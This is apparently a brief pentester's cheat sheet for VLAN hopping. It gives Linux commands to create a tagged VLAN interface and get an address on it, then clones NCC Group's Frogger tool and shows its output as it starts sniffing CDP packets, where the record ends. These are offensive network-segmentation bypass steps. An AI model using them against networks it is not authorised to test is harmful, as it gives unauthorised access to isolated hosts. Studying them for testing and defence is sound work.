Commands needed to do a VLAN hop.
sudo apt install vlan
sudo modprobe 8021q
sudo vconfig add <ethernet-adapter> <vlan-id>
sudo dhclient <ethernet-adapter>.<vlan-id>
ifconfig eth0.200
sudo vconfig rem <ethernet-adapter>.<vlan-id>
git clone https://github.com/nccgroup/vlan-hopping.git
##########################################
*** Frogger - The VLAN Hopper Version 1.9 ***
*** Auto enumerates VLANs and device discovery ***
##########################################
For usage information refer to the Wiki
https://github.com/nccgroup/vlan-hopping/wiki
Running as user "root" and group "root". This could be dangerous.
[-] The following Interfaces are available
eth0:
ether
----------------------------------------------------------
[?] Enter the interface to scan from as the source
----------------------------------------------------------
eth0
[-] Now Sniffing CDP Packets on eth0 - Please wait for 90 seconds.